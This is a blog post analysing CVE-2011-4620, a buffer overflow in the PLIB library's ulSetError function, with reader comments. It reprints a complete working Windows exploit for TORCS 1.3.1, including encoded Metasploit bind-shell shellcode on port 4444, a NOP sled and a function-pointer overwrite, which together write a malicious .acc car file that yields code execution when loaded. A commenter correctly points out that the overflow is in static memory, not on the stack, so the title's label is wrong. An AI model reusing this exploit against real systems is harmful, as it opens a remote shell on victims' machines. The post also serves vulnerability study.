CVE-2011-4620: PLIB Stack Based Buffer Overflow
This was released as an exploit by Andres Gomez for TORCS which is available here. However, this was a bug located in PLIB library and more specifically in file src/util/ulError.cxx in the code snippet you see below.
static char _ulErrorBuffer [ 1024 ] = { '\0' } ;
static ulErrorCallback _ulErrorCB = 0 ;
...
void ulSetError ( enum ulSeverity severity, const char *fmt, ... )
{
va_list argp;
va_start ( argp, fmt ) ;
vsprintf ( _ulErrorBuffer, fmt, argp ) ;
va_end ( argp ) ;
if ( _ulErrorCB )
{
(*_ulErrorCB)( severity, _ulErrorBuffer ) ;
}
else
{
fprintf ( stderr, "%s: %s\n",
_ulSeverityText[ severity ], _ulErrorBuffer ) ;
if ( severity == UL_FATAL )
{
#ifdef WIN32
// A Windows user that does not start the program from the command line
// will not see output to stderr
::MessageBox(0, _ulErrorBuffer, "fatal error!:", 0);
#endif
exit (1) ;
}
}
As you can see the code will always use the statically allocated ‘_ulErrorBuffer[]‘ array which has size of 1024 Bytes. Any error messages longer than that will result in stack memory corruption.
This means that if the attacker is able to control even partially an error message’s length he/she would be able to exploit this vulnerability and achieve code execution.
Currently there is no fix for this problem so there is no workaround or patch to discuss. Moving to the exploitation, as I mentioned in the beginning of this post, Andres Gomez has already published an exploit for Windows platform. Let’s have a look…
/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */
/*
This exploit generates a corrupted acc file
which has to be saved in the directories where
TORCS loads its data, for example replace
cars/car4-trb1/car4-trb1.acc and put test.acc or create
a new car/track and select it in the TORCS menu
*/
#include <stdio.h>
#include <stdlib.h>
/*
Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
Encoder: x86/shikata_ga_nai
*/
unsigned char buf[] =
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";
Just the Metasploit generated shellcode along with some useful comments. Moving to the code is exactly what you would expect…
// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";
int main(int argc, char **argv) {
FILE *save_fd;
int i=0;
save_fd = fopen("test.acc", "w");
if (save_fd == NULL) {
printf("Failed to open '%s' for writing", "test.acc");
return -1;
}
fprintf(save_fd, "AC3Db\n");
fprintf(save_fd, "MATERIAL \"");
for(i=0; i < 607; i++) {
putc('\x90', save_fd);
}
fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4 amb 0.8 0.8 0.8 emis 0.4 0.4 0.4 spec 0.5 0.5 0.5 shi 50 trans 0\n", buf, function_pointer);
fprintf(save_fd, "OBJECT world\n");
fprintf(save_fd, "kids %d\n", 5);
close(save_fd);
return 0;
}
It creates a malicious ACC file (named test.acc) which triggers the vulnerability through a ACC file parsing error and results in overwriting the ‘function_pointer[]‘ to achieve code execution of the shellcode.

That’s not a stack-based buffer overflow at all – static buffers are stored in the BSS or data segments, not on the stack.
caf
January 19, 2012 at 13:05
You are right. Thanks for the correction.
xorl
January 22, 2012 at 23:44